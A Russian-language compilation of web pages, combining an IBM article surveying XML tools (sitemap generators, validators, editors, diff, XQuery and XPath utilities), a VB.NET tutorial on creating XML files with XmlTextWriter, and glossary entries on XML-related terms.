XML-карта сайта представляет собой список всех URL-адресов Web-сайта. Карта сайта информирует поисковую систему об URL-адресах Web-сайта, доступных для сканирования и включения в базу данных поисковой системы. Большинство программ для создания карт сайтов основаны на Web-технологиях и запрашивают URL-адрес Web-сайта вместе с несколькими параметрами, такими как частота изменений и дата последнего изменения. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Существует несколько генераторов карт сайтов:

  • Google SiteMap Generator автоматически генерирует карту сайта, основываясь на обновлениях и трафике вашего Web-сайта, развернутого на Web-сервере.
  • Gsite Crawler – это Windows-приложение для создания карт сайтов.
  • Кроме загружаемых инструментальных программ, карты сайтов можно генерировать с помощью различных интерактивных приложений; вот два примера:
    • Sitemaps Builder создает карты сайтов для Google, HTML и текстовых URL.
    • XML Sitemaps создает карты сайтов в форматах XML, ROR, Text или HTML.

Программы проверки корректности XML-карт сайтов

Программы проверки корректности карт сайтов используются для проверки карт, сгенерированных для Web-сайтов. Такая программа проверяет, подходит ли карта сайта для использования поисковой системой. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Ниже приведен список программ проверки корректности карт сайтов:

  • Automapit sitemap validator проверяет корректность карты сайта, гарантируя ее соответствие критериям поисковых систем.
  • Sitemap XML validator проверяет карту сайта на корректность XML-кода, чтобы вы смогли исправить ошибки до ее отправки в поисковые системы.
  • XML sitemaps validator идентифицирует все проблемы карты для их устранения перед отправкой карты в поисковые системы.
  • Online Merchant sitemap checker проверяет корректность XML-заголовков в файле sitemap.xml.

Новостные фиды RSS – это отличный способ держать посетителей вашего сайта в курсе последних изменений его содержимого. Генераторы RSS-фидов популярны, например, среди пользователей, которые хотят просматривать заголовки новостных сайтов (например, CNN) или знать о последних спортивных новостях. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Разработчики Web-сайтов могут генерировать RSS-фиды при помощи следующих инструментальных средств:

  • IceRocket RSS builder – программа с простым интерфейсом, позволяющая добавлять темы, ссылки и содержимое с целью создания RSS-фидов для вашего Web-сайта.
  • Feedity создает RSS-фиды для Web-страниц, новостей или товаров.
  • RSSPect настраивает RSS-фиды для Web-сайтов, документов или подкастов.

Генераторы XML-схем

XML-схемы можно генерировать из экземпляра XML. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Доступные инструментальные средства:

  • Trang от ThaiOpenSource – программа, запускаемая из командной строки, генерирует XML Schema Definition (XSD) из XML.
  • XMLBeans – программа из проекта Apache, предоставляющая несколько функций, в том числе генерирование схемы при помощи inst2xsd (Instance to Schema Tool).
  • XML for ASP BuildXMLSchema – интерактивный генератор XML-схем.

Программы для проверки корректности XML

Экземпляры XML-кода можно проверять на соответствие их схемам. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Используйте одно из следующих интерактивных инструментальных средств:

  • XMLValidation.com проверяет соответствие XML-документа XML-схеме или DTD, указанным в документе, либо, при отсутствии объявления схемы или DTD, проверяет синтаксис.
  • DecisionSoft.com Schema Validator проверяет корректность одной схемы и экземпляра документа и выводит список ошибок.
  • W3C XML validator – сервис проверки схем с URI пространства имен http://www.w3.org/2001/XMLSchema.

Программы форматирования XML

Форматирование XML – это операция, часто выполняемая с XML-данными для облегчения их чтение. Большинство настольных приложений, работающих с XML, предоставляют эту функциональность. Для выполнения быстрого форматирования XML-содержимого без установки каких-либо инструментальных средств попробуйте один из следующих интерактивных сервисов. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

  • XMLIndent.com
  • X01 online xml formatter

Редакторы XML

XML-редакторы помогают интерпретировать XML-документ, выделяя цветом элементы, атрибуты или обычный текст и отступы. Еще одно преимущество использования XML-редакторов состоит в том, что они имеют функции, ориентированные на содержимое, например, древовидное представление, которое позволяет пользователю легко просматривать различные узлы XML-документа. Они также проверяют корректность кода и отображают список предупреждений и ошибок при отсутствии закрывающих XML-тегов. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

  • Xerlin XML Editor – Java™-программа, которая создает и проверяет XML-содержимое. Редактор имеет открытый исходный код, поддерживает XSLT и может проверять XML на соответствие DTD и схемам.
  • Jaxe Editor – еще один XML-редактор с открытыми исходными кодами на языке Java. Поддерживает экспорт содержимого в формат PDF и предварительный просмотр HTML с использованием XSLT; работает на нескольких платформах.
  • XMLFox – бесплатный XML-редактор с программой проверки корректности, позволяющий создавать грамматически правильные XML-документы и схемы. Этот редактор поддерживает и другие операции с XML.

Инструментальные средства для работы с XML

XSLT-преобразования полезны при преобразовании одной формы XML в другую с использованием таблиц стилей. В этом могут помочь многочисленные инструментальные средства; в качестве примеров можно привести Tiger XSLT Mapper и Kernow. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Tiger XSLT Mapper – программа для преобразования XML-структур, которую могут легко использовать новички. Она автоматически создает преобразования, которые можно редактировать, используя графический интерфейс, построенный по принципу перетаскивания.

Kernow – это Java-интерфейс, выполняющий преобразования программным способом. Kernow – это хороший выбор для разработчиков, которым нужно периодически выполнять XSLT-преобразования при помощи визуального интерфейса.

Также полезны несколько интерактивных XSLT-программ:

  • XSLT Online Transformation
  • W3C Online XSLT 2.0 Service

Разработчики, предпочитающие подключаемые к браузеру плагины, могут использовать следующие полезные плагины для работы с XML:

Mozilla Firefox

  • XSL Results Add-on отображает результаты XSLT-преобразования (XSLT 1.0 или XSLT 2.0 through Saxon-B) документа.
  • XML Developer Toolbar добавляет в панель инструментов стандартные инструменты для работы с XML.

Google Chrome

  • XML Tree отображает XML-данные в удобном для пользователя виде.
  • XML Viewer – инструмент просмотра XML-документов для Google Chrome.

Инструментальные средства с открытыми исходными кодами для работы с XML

Пользователям, которые не могут купить коммерческие программы для работы с XML, будут полезны инструментальные средства с открытыми исходными кодами. Активная работа сообщества позволила создать очень хорошие программы для работы с XML. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

XML IDE iXedit предоставляет ряд функциональных возможностей для обработки XML-документов:

  • Проверка на соответствие DTD.
  • Автоматическое завершение кода с использованием DTD.
  • Пользовательские шаблоны.
  • Обработка XSLT.
  • Редактирование по частям.

Rinzo XML Editor – это XML-редактор, работающий в Eclipse. Среди его возможностей:

  • Поддержка пространства имен.
  • Автоматическое завершение тегов и атрибутов.
  • Проверка корректности XML.

Эти инструментальные средства предоставляют также возможности для работы с Java-элементами:

  • Автоматическое завершение названий классов.
  • Открытие определения класса.

XPontus XML Editor – это Java-программа с открытыми исходными кодами, обладающая следующими функциональными возможностями:

  • Форматирование и завершение кода.
  • XSL-преобразования.
  • Генерирование DTD и схемы.
  • Проверка корректности XML.

Интегрированные среды разработки XML

Интегрированные среды разработки (IDE) для работы с XML выполняют практически все операции, связанные с XML. Имеется ряд IDE с различными функциональными возможностями. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

XMLSpy – это XML IDE для создания, редактирования и отладки XML, XML-схем, XSL/XSLT, XQuery, WSDL и SOAP. Дополнительные возможности:

  • Генератор кода.
  • Преобразователь файлов.
  • Отладчик.
  • Профайлер.
  • Поддержка интеграции в Visual Studio.NET и Eclipse IDE.
  • Мастер импорта из базы данных, позволяющий импортировать данные из Microsoft® Access®.

XML Marker – это XML-редактор, использующий синхронизированные табличное дерево (table-tree) и текстовый дисплей для отображения XML-данных в табличном и иерархическом виде. Эта программа может загружать очень большие документы (размером в сотни мегабайт и даже несколько гигабайт). Другие функциональные возможности:

  • Редактор с подсветкой синтаксиса.
  • Сортировка таблиц.
  • Автоматический отступ.
  • Проверка синтаксиса при вводе.

Liquid XML Studio – пакет из нескольких программ для работы с XML. Предоставляет следующие инструментальные средства:

  • Редактор XML-схемы.
  • Генератор кода связывания XML-данных.
  • Редактор WSDL.
  • Редактор XML.
  • Интеграция с Microsoft Visual Studio.
  • Тестовый клиент Web-сервисов.
  • Компоновщик XPath-выражений.
  • Генератор HTML-документации.
  • Редактор и отладчик XSLT.
  • Редактор больших файлов.
  • XML Diff – сравнение XML-файлов.

На рисунке 1 показан редактор Liquid XML с набором панелей для работы с XML-содержимым. (Увеличенная версия рисунка 1.)

Рисунок 1. Редактор Liquid XML Studio

<oXygen/> XML Editor – это полнофункциональная интегрированная среда разработки XML с поддержкой разнообразных операций, связанных с XML. Ее возможности будут полезны опытным пользователям. Перечислим некоторые из них:

  • Интеллектуальный редактор XML.
  • Проверка корректности XML.
  • Поддержка XSL/XSLT.
  • Поддержка XQuery.
  • Поддержка XPath.
  • XML-публикация из одного источника.
  • Поддержка документов Microsoft Office.

На рисунке 2 показан редактор <oXygen/> XML Editor с исходным кодом и древовидным представлением XML-документа. (Увеличенная версия рисунка 2.)

Рисунок 2. Редактор <oXygen/>

Stylus Studio предлагает следующие функциональные возможности:

  • Профайлеры XSLT и XQuery.
  • Поддержка EDI.
  • Инструментальные средства работы с корпоративными Web-сервисами.
  • XML-конвейер.
  • Взаимодействие XML-схемы с XSLT 2.0 и XQuery 1.0.
  • Средства публикации XML.

XML Notepad от Microsoft помогает разработчикам создавать XML-документы. Эта бесплатная программа содержит инструмент XMLDiff, который можно использовать для сравнения двух XML-файлов. Ее интерфейс прост и удобен в использовании. Программа работает на платформе .Net. Вот некоторые ее возможности:

  • Древовидное представление, синхронизированное с текстовым.
  • Поддержка пространства имен при копировании и перемещении текста.
  • Инкрементный поиск в древовидном и текстовом представлениях.
  • Поддержка перетаскивания при редактировании.
  • Неограниченное количество операций отмены изменений и повтора изменений при редактировании.
  • Поддержка поиска с использованием регулярных выражений и XPath.
  • Быстрая загрузка документов размером до 3 MБ.
  • Мгновенная проверка на соответствие XML-схеме.
  • Технология Intellisense (автодополнение), основанная на ожидаемых элементах, атрибутах и значениях перечисляемых простых типов.
  • Поддержка специализированных редакторов для типов данных date, dateTime, time и других типов, например, color.
  • Встроенный просмотрщик HTML.
  • Поддержка XInclude.

На рисунке 3 показан редактор XML Notepad с древовидным представлением XML-файла и панелью ошибок. (Увеличенная версия рисунка 3.)

Рисунок 3. Редактор XML Notepad

XML Copy Editor – это быстрый XML-редактор с поддержкой проверки корректности. Наличие вкладок позволяет редактировать несколько файлов одновременно. Другие функциональные возможности:

  • Проверка на соответствие DTD/XML Schema/RELAX NG.
  • Поддержка XSLT и XPath.
  • Форматированный вывод на печать и цветовая подсветка синтаксиса.
  • Свертывание и завершение тегов.
  • Импорт и экспорт документов Microsoft Word без потери информации.
  • Поддержка XHTML, XSL, DocBook и Text Encoding Initiative (TEI).

firstobject XML Editor – бесплатный XML-редактор. Позволяет напрямую редактировать XML-дерево, отображаемое на основании содержимого XML-документа. Позволяет загружать и обрабатывать большие файлы. Некоторые его функциональных возможностей редактора:

  • Быстрый, переносимый, основанный на CMarkup.
  • Не требует Java или MSXML.
  • Поддержка переноса строк.
  • Проверка на соответствие DTD на основе MSXML.
  • Переход на строку по номеру.
  • Отображение XPath.
  • Редактирование файлов в закладках.
  • Генерирование C++-кода.

XRay XML Editor – бесплатная интегрированная XML IDE. Эта программа проверяет корректность XML-документа при вводе. Имеет встроенную поддержку стандартов W3C. Также имеет HTML-просмотрщик для предварительного просмотра Web-страниц, созданных с помощью XML. Можно создавать три типа схем, включая XSD, DTD и External Data Representation (XDR). Среди других функциональных возможностей:

  • XSLT-обработка в режиме реального времени.
  • Проверка корректности схемы в режиме реального времени.
  • Интегрированное интерактивное учебное руководство по XML.

XMLSpear – бесплатный XML-редактор, написанный на языке Java и доступный для многих платформ. Обладает расширенными функциональными возможностями, такими как интерактивная проверка на соответствие схеме, расширенная панель XPath и др. XML отображается в трех различных форматах, включая древовидную таблицу, просмотр элементов и просмотр исходного кода. XMLSpear доступен в виде Web-программы на Java или в виде автономного приложения. Дополнительные функциональные возможности:

  • Поддержка XPath и XSLT.
  • Способность генерировать завершенные XML-документы из схемы.
  • Поддержка нескольких форматов кодирования.
  • Интегрированный текстовый и HTML-плагин.
  • Проверка на соответствие схеме или DTD в режиме реального времени.
  • Генерирование схемы из экземпляров XML.
  • Древовидный редактор для работы с узлами.

XMLmind – многофункциональный XML-редактор, использующий технологию Java и доступный для нескольких платформ. Более подходит опытным пользователям, а не новичкам. Представляет инновационный способ редактирования XML-документов и требует наличия Java-платформы. Среди функциональных возможностей XMLmind:

  • Преобразование XML-документов в HTML, PDF, Eclipse и многие другие форматы.
  • Наличие DITA-преобразователя.
  • Поддержка DocBook, JavaDoc, XHTML и встроенных шаблонов для них.
  • Поддержка создания MathML-документов.
  • Редактируемые команды.
  • Интегрированный анализатор XML и механизм XSLT.

ElfData XML Editor – программа для пользователей Mac OS. Эта среда XML IDE имеет поддержку Unicode и может выполнять проверку XML-документов на грамматическую правильность с DTD и без него. Доступны два режима представления: в виде дерева и в виде кода. Поддержка технологии drag-and-drop позволяет перетаскивать на документ XML-элементы. Поиск облегчается благодаря наличию двух режимов: поиск по коду и поиск по дереву. Среди других функциональных возможностей:

  • Совместимость с XML 1.0.
  • Интерфейс пользователя в стиле Macintosh.
  • Подробные сообщения об ошибках с предоставлением помощи в их отладке.
  • Функция "Send to Browser" (отправка в браузер), позволяющая просматривать документ в браузере.
  • Возможность сохранять страницы в виде XHTML с DTD.

XMetaL похож на текстовый процессор. Аналогично большинству XML IDE, он может выполнять проверку корректности XML-документов и поддерживает схемы, DTD и XInclude. Другие функциональные возможности:

  • Проверка орфографии и автоматическое завершение кода.
  • Поддержка вывода в формате Web-справки.
  • Способность преобразовывать XML-документы в PDF, HTML и многие другие форматы.
  • Коннектор XMetal интегрируется с системами управления контентом (CMS) и системами управления версиями, например, SVN.
  • Поддержка Unicode позволяет создавать XML-документы на различных языках.
  • Поддержка DITA (с такими возможностями, как визуализация и ориентированный на темы пользовательский интерфейс) для создания DITA-содержимого.

Средства сравнения XML

Разработчикам, редакторам и авторам часто бывает нужна программа сравнения двух версий XML-документа для отслеживания изменений. Хотя имеются многочисленные средства сравнения, наиболее эффективным решением для многих операций является программа сравнения, специально предназначенная для работы с XML-документами. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

<oXygen/> XML Diff & Merge может сравнивать файлы, каталоги и ZIP-архивы. После загрузки в программу исходного и целевого документов отображаются выделенные цветом различия; изменения в исходном и целевом файлах можно редактировать. Программа имеет много встроенных алгоритмов сравнения и способна автоматически выбирать алгоритмы на основе содержимого документа и его размера. Программа может выполнять пословное и посимвольное сравнение. При сравнении каталогов и архивов за основу сравнения можно выбрать следующие параметры:

  • Временная отметка.
  • Содержимое.
  • Двоичное сравнение.

Liquid XMLDiff имеет много специфичных для XML функций, например, удаление пробелов, комментариев и директив процессора. Эта программа достаточно функциональна, чтобы спрогнозировать, являются ли элементы новыми, удаленными или перемещенными. Программа доступна также в составе Liquid XML Studio в редакции для дизайнера и разработчика.

ExamXML – это мощное средство визуального сравнения и синхронизации различий между XML-документами. Входным XML для сравнения может быть либо файл, либо поле из базы данных. ExamXML может также сравнивать и сохранять части XML-документа; также можно выполнять импорт или экспорт из документов Microsoft Excel®. ExamXML работает на различных версиях Microsoft Windows®. Другие функциональные возможности:

  • Проверка корректности XML на соответствие DTD и XML-схеме.
  • Нормализация дат и чисел.
  • Поддержка drag-and-drop.
  • XML-документы отображаются в виде дерева.

DeltaXML позволяет искать, сравнивать, соединять и синхронизировать изменения в XML-документах. Поддерживает Java API, что облегчает программное сравнение XML-документов. Может работать с большими файлами. Программа может выдавать дельта-файл с результатами сравнения. Этот файл можно отобразить непосредственно либо использовать XSL; можно обработать этот файл в других XMKL-программах. Программа DeltaXML Sync может сравнивать три XML-документа и визуализировать различия. Кроме функции сравнения XML-документов, имеет несколько инструментов форматирования:

  • Сравнение DeltaXML DITA.
  • Сравнение DeltaXML DocBook.
  • Сравнение DeltaXML ODT.
  • Слияние DeltaXML ODT.

Инструментальные средства для работы с XQuery

Язык XQuery может быть очень полезен опытным пользователям XML для выполнения запросов и извлечения содержимого из больших XML-документов. Специализированные программы для работы с XQuery помогут воспользоваться преимуществами XQuery и позволят использовать такие высокоуровневые функции, как отображение, отладка и профилирование. Эти программы предоставляют полезные функции, такие как проверка корректности, автоматическое завершение кода и предварительный просмотр. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Редактор XMLSpy XQuery Editor предоставляет подсветку синтаксиса и контекстно-чувствительные меню для XQuery. Его функции автоматического завершения кода облегчают создание XQuery-документов. Он также позволяет разрабатывать XQuery для баз данных, поддерживающих XML. Другие функциональные возможности:

  • Изоляция ошибок.
  • Упрощенная отладка.
  • Улучшенная производительность кода.
  • Улучшенный просмотр текста.

Программа Stylus Studio XQuery Editor имеет интегрированный редактор XQuery с широким набором функциональных возможностей, включая интеллектуальную проверку кода, автоматическое завершение кода, конструкторы элементов, функции, path-выражения и многое другое. Редактор основан на открытой архитектуре XQuery с поддержкой процессора Saxon XQuery. Окно дерева исходного кода XQuery поддерживает технологию drag-and-drop, а также удобные символы и пиктограммы. Дополнительные функциональные возможности:

  • Создание сценариев XQuery.
  • Предварительный просмотр XQuery.
  • Отображение результатов XQuery в XQuery-выражения.

Средства разработки XQuery для Eclipse помогают создавать, отлаживать и выполнять XQuery в среде Eclipse. Эти средства предоставляют также:

  • Поддержку обновлений XQuery и расширений функций работы со сценариями.
  • Завершение кода и шаблоны кода.
  • Проверку семантики и быстрое исправление.
  • Проверку корректности при вводе.

Инструментальные средства для работы с XPath

Специализированные инструментальные средства XPath полезны для визуализации результатов оценки XPath и помогают при создании и проверке XPath-выражений. К полезным функциям, предоставляемым этими средствами, относятся отладка XPath-выражений, автоматическое завершение кода, поиск в база данных с использованием XPath. Ссылки на все перечисленные инструментальные средства приведены в разделе Ресурсы.

Программа SketchPath – это XPath-редактор и средство анализа и тестирования XML. Она предоставляет IDE для разработки и тестирования XPath-выражений с XML-документами. Программа использует .NET Framework для работы с XPath 1.0 и Saxon.NET для XPath 2.0. Другие функциональные возможности:

  • Использование XPath-переменных в выражениях.
  • Помощник по функциям XPath.
  • Встроенный пошаговый трассировщик и отладчик.
  • Цветовая подсветка синтаксиса для выражений.

XPath Visualizer – это бесплатная программа Microsoft Windows, выполняющая XPath-запросы к XML-документам и визуализирующая результаты. Входной информацией может быть файл в файловой системе или URL-адрес; также можно скопировать содержимое файла непосредственно в программу в виде текста. В программе можно вводить полные XPath-запросы. Другие функциональные возможности:

  • Автоматическое обнаружение и отображение пространств имен XML.
  • Проверка корректности XPath-запросов.
  • Автоматическое добавление пространства имен XML по умолчанию в выражение запроса и возможность удалить пространство имен XML из любого документа.

Доступны также Web-программы для работы с XPath, например:

  • XPath Query Expression Tool (XMLME.com).
  • Simple online XPath tester.
  • XSLT Tryit Editor (W3Schools.com).

Заключение

Поддержка технологии XML предусмотрена во многих инструментальных средствах. Как пользователю XML, вам следует проанализировать свои потребности и выбрать подходящее инструментальное средство. Например, если вам нужно выполнять много разных операций, можно выбрать XML IDE с такими дополнительными функциональными возможностями, как редактирование, проверка корректности и т.д. Для узких задач (например, для сравнения XML-файлов) можно выбрать специализированную программу сравнения.

Ресурсы для скачивания
Похожие темы
  • Оригинал статьи: Investigate current XML tools (EN).
  • Ссылки на инструментальные средства для создания XML-карт сайтов:
  • Ссылки на программы проверки корректности XML-карт сайтов:
  • Ссылки на генераторы RSS-фидов:
  • Ссылки на генераторы XML-схем:
  • Ссылки на программы проверки корректности XML:
  • Ссылки на программы форматирования XML:
  • Ссылки на XML-редакторы:
  • Ссылки на инструментальные средства для работы с XML:
  • Ссылки на инструментальные средства с открытыми исходными кодами для работы с XML:
  • Ссылки на XML IDE:
  • Ссылки на инструментальные средства сравнения XML-файлов:
  • Ссылки на инструментальные средства для работы с XQuery:
  • Ссылки на инструментальные средства для работы с XPath:
  • XML-редакторы (O'Reilly xml.com): список XML-редакторов.
  • Сравнение XML-редакторов (Википедия): список XML-редакторов, в котором сравниваются условия лицензирования, поддерживаемые платформы и функциональные возможности различных XML-редакторов.
  • Генераторы карт сайтов: список ссылок на инструментальные средства и фрагменты кода, генерирующие или обслуживающие файлы карт сайтов.
  • Раздел XML на developerWorks: ресурсы для повышения квалификации в области XML. В библиотеке технической литературы по XML представлены технические статьи и рекомендации, руководства, стандарты и документы IBM Redbooks.
  • Сертификация IBM XML: информация о получении сертификата IBM-Certified Developer по XML и смежным технологиям.

Подпишите меня на уведомления к комментариям

www.ibm.com

VB. Создание XML-файлов (элементы, атрибуты, содержимое)

Создание XML-файлов с помощью XmlTextWriter. Запись элементов и их текстового содержимого. Запись атрибутов и их текстового содержимого. Форматирование.

XML-файлы в настоящее время используются в основном для обмена данными между приложениями, а создавать их в ‎Visual Basic‎ проще всего с помощью XmlTextWriter. У меня XmlTextWriter применяется в коде конвертера, преобразующего информацию из EXCEL-файлов поставщиков пива в в XML-файлы для загрузки в программу «Декларант-Алко». Далее простые примеры, как создавать XML-файлы с помощью XmlTextWriter, добавлять элементы, атрибуты и их текстовое содержимое.

Пример 1. Создание Xml-файла, запись элементов и их текстового содержимого

Создадим Xml-файл и запишем в него информацию из таблицы «Работники» следующим образом: имя таблицы как элемент первого уровня, наименование должности работника как элемент второго уровня, а табличные значения ФИО как текстовое содержимое элемента второго уровня:

Работники

Должность ФИО
Дворник Иванов И.И.
Инженер Петров П.П.
'Создаем новый экземпляр XmlTextWriter с указанием полного имени файла и кодировки, 'файл с таким именем будет создан, а если он существует, то перезаписан Dim myWriter = New Xml.XmlTextWriter("D:\test1.xml", System.Text.Encoding.UTF8) With myWriter 'Записываем объявление XML с номером версии 1.0 .WriteStartDocument() 'Записываем открывающий тег первого элемента .WriteStartElement("Работники") 'Записываем открывающий тег первого вложенного элемента .WriteStartElement("Дворник") 'Записываем текстовое содержимое элемента .WriteString("Иванов И.И.") 'Записываем закрывающий тег первого вложенного элемента .WriteEndElement() 'Записываем открывающий тег второго вложенного элемента .WriteStartElement("Инженер") 'Записываем текстовое содержимое элемента .WriteString("Петров П.П.") 'Закрывающий тег второго вложенного элемента '.WriteEndElement() 'Закрывающий тег первого элемента '.WriteEndElement() 'Закрываем все незакрытые элементы и атрибуты .WriteEndDocument() 'Закрываем экземпляр XmlTextWriter .Close() 'Если в этой же процедуре создается еще Xml-файл, то уже объявленной 'переменной myWriter присваивается новый экземпляр XmlTextWriter, например: 'MyWriter = New Xml.XmlTextWriter("D:\test2.xml", System.Text.Encoding.UTF8) End With MsgBox("Процесс записи завершен!")

Две команды «.WriteEndElement()» закомментированы, так как их выполняет метод «.WriteEndDocument()», который закрывает все незакрытые элементы и атрибуты (стоит отметить, если не записать закрывающий тег первого вложенного элемента, то второй вложенный элемент откроется как элемент третьего уровня).

Результат выполнения кода примера 1:

‹?xml version="1.0" encoding="UTF-8"?› ‹Работники› ‹Дворник›Иванов И.И.‹/Дворник› ‹Инженер›Петров П.П.‹/Инженер› ‹/Работники›

Пример 2. Создание Xml-файла, запись элементов, атрибутов и их текстового содержимого

Создадим Xml-файл и запишем имя таблицы как элемент первого уровня, наименование должности работника как элемент второго уровня, названия граф («Фамилия», «Имя» и «Отчество») как атрибуты элемента «Наименование должности», а табличные значения ФИО как текстовое содержимое атрибутов:

Работники

Должность Фамилия Имя Отчество
Дворник Иванов Иван Иванович
Инженер Петров Петр Петрович
Dim myWriter = New Xml.XmlTextWriter("D:\test2.xml", System.Text.Encoding.UTF8) With myWriter .WriteStartDocument() .WriteStartElement("Работники") 'Записываем открывающий тег первого вложенного элемента .WriteStartElement("Дворник") 'Записываем первый атрибут первого вложенного элемента .WriteStartAttribute("Фамилия") 'Записываем текстовое содержимое атрибута .WriteString("Иванов") 'Записываем второй атрибут первого вложенного элемента .WriteStartAttribute("Имя") 'Записываем текстовое содержимое атрибута .WriteString("Иван") 'Записываем третий атрибут первого вложенного элемента .WriteStartAttribute("Отчество") 'Записываем текстовое содержимое атрибута .WriteString("Иванович") 'Записываем закрывающий тег первого вложенного элемента .WriteEndElement() 'Записываем открывающий тег второго вложенного элемента .WriteStartElement("Инженер") 'Записываем первый атрибут второго вложенного элемента .WriteStartAttribute("Фамилия") 'Записываем текстовое содержимое атрибута .WriteString("Петров") 'Записываем второй атрибут второго вложенного элемента .WriteStartAttribute("Имя") 'Записываем текстовое содержимое атрибута .WriteString("Петр") 'Записываем третий атрибут второго вложенного элемента .WriteStartAttribute("Отчество") 'Записываем текстовое содержимое атрибута .WriteString("Петрович") 'Закрываем все незакрытые элементы и атрибуты .WriteEndDocument() .Close() End With MsgBox("Процесс записи завершен!")

Результат выполнения кода примера 2:

‹?xml version="1.0" encoding="UTF-8"?› ‹Работники› ‹Дворник Фамилия="Иванов" Имя="Иван" Отчество="Иванович"/› ‹Инженер Фамилия="Петров" Имя="Петр" Отчество="Петрович"/› ‹/Работники›

Пример 3

Запишем имя таблицы как элемент первого уровня, слово «Работник» как элемент второго уровня, «id» и «ФИО» как атрибуты элемента «Работник», «Год_рождения», «Паспорт» и «Должность» как вложенные элементы третьего уровня, «серия» и «номер» как атрибуты элемента «Паспорт», а также применим форматирование к документу XML:

Работники

Idработника ФИО Год_рождения Паспорт Должность
серия номер
1 Иванов И.И. 1956 22 22 222222 дворник
2 Петров П.П. 1967 33 33 333333 инженер
Dim myWriter = New Xml.XmlTextWriter("D:\test3.xml", System.Text.Encoding.UTF8) With myWriter .WriteStartDocument() 'Указываем, что XML-документ должен быть отформатирован .Formatting = Xml.Formatting.Indented 'Задаем 2 пробела для выделения вложенных данных .Indentation = 2 .WriteStartElement("Работники") .WriteStartElement("Работник") .WriteStartAttribute("id") .WriteString("1") .WriteStartAttribute("ФИО") .WriteString("Иванов И.И.") .WriteStartElement("Год_рождения") .WriteString("1956") .WriteEndElement() .WriteStartElement("Паспорт") .WriteStartAttribute("серия") .WriteString("22 22") .WriteStartAttribute("номер") .WriteString("222222") .WriteEndElement() .WriteStartElement("Должность") .WriteString("дворник") .WriteEndElement() .WriteEndElement() .WriteStartElement("Работник") .WriteStartAttribute("id") .WriteString("2") .WriteStartAttribute("ФИО") .WriteString("Петров П.П.") .WriteStartElement("Год_рождения") .WriteString("1967") .WriteEndElement() .WriteStartElement("Паспорт") .WriteStartAttribute("серия") .WriteString("33 33") .WriteStartAttribute("номер") .WriteString("333333") .WriteEndElement() .WriteStartElement("Должность") .WriteString("инженер") .WriteEndDocument() .Close() End With MsgBox("Процесс записи завершен!")

Результат выполнения кода примера 3:

‹?xml version="1.0" encoding="UTF-8"?› ‹Работники› ‹Работник ФИО="Иванов И.И."› ‹Год_рождения›1956‹/Год_рождения› ‹Паспорт серия="22 22" номер="222222"/› ‹Должность›дворник‹/Должность› ‹/Работник› ‹Работник ФИО="Петров П.П."› ‹Год_рождения›1967‹/Год_рождения› ‹Паспорт серия="33 33" номер="333333"/› ‹Должность›инженер‹/Должность› ‹/Работник› ‹/Работники›

1. При открытии XML-файлов из примеров 1 и 2 в текстовом редакторе, их код будет расположен в одной строке, а отформатированный код из примера 3 отобразится в текстовом редакторе так же, как и в браузере.

2. Атрибуты, в зависимости от программы, могут отображаться не в том порядке, как записаны в исходном XML-файле. При тестировании в Google Chrome, Notepad++ последовательность оказалась та же, что и в примерах, а в Internet Explorer 10 атрибуты отобразились в обратном порядке.

vremya-ne-zhdet.ru

код XML - это... Что такое код XML?

  • код XML — словарь XML словарь разметки Набор правил или кодовый справочник, определяющий представление средствами языка XML информационных ресурсов или метаданных некоторого вида. Таким кодом конструкции форматной разметки XML документов, является,… …   Справочник технического переводчика

  • XML DOM — Пример иерархии объектов в HTML DOM DOM (от англ. Document Object Model  «объектная модель документа»)  это независящий от платформы и языка программный интерфейс, позволяющий программам и скриптам получить доступ к содержимому документов, а… …   Википедия

  • Код 200 — SSL Заголовки (список) Cookie · ETag · Referer · User Agent Коды состояния Код состояния англ. HTTP status code) является частью первой строки ответа сервера. Он представляет собой целое число из трех арабских цифр. Первая цифра указывает на… …   Википедия

  • Код состояния HTTP — SSL Заголовки (список) Cookie · ETag · Referer · User Agent Коды состояния Код состояния англ. HTTP status code) является частью первой строки ответа сервера. Он представляет собой целое число из трех арабских цифр. Первая цифра указывает на… …   Википедия

  • Редактор XML — Редактор XML  это редактор для языка разметки, функциональность которого позволяет упростить работу с документами в формате XML. Редактировать XML можно и с помощью текстовых редакторов, в которых видно код, однако редакторы XML предлагают… …   Википедия

  • WAP Binary XML — (WBXML) компактное бинарное представление Консорциумом Всемирной паутины для включения в семейство стандартов WAP. Текущая версия 1.3. WBXML сейчас используется в WML, Wireless Village, OMA DRM, программировании телефонов через беспроводную связь …   Википедия

  • Apache Velocity — О проекте Microsoft под кодовым названием Velocity см. Velocity (кэш память). Apache Velocity Тип Обработчик шаблонов Разработчик Apache Software Foundation Написана на …   Википедия

  • Валидация — (Validation) Содержание Содержание 1. ISO 2. Чем отличается валидация от верификации? 3. Валидация документов 4. Валидация XML и XHTML 5. GMP валидация 6. Что такое валидация ИПДО? Валидация – это придание законной силы, утверждение,… …   Энциклопедия инвестора

  • JSP — Стиль этой статьи неэнциклопедичен или нарушает нормы русского языка. Статью следует исправить согласно стилистическим правилам Википедии. JSP (JavaServer Pages)  технология, позволяющая веб разработчикам легко создавать содержимое, которое… …   Википедия

  • ActionScript — Класс языка: Объектно ориентированный, Императивный, скриптовый Появился в: 1998 Автор(ы): Гари Гроссман …   Википедия

  • Python — У этого термина существуют и другие значения, см. Python (значения). Python Класс языка: му …   Википедия

  • normative_ru_en.academic.ru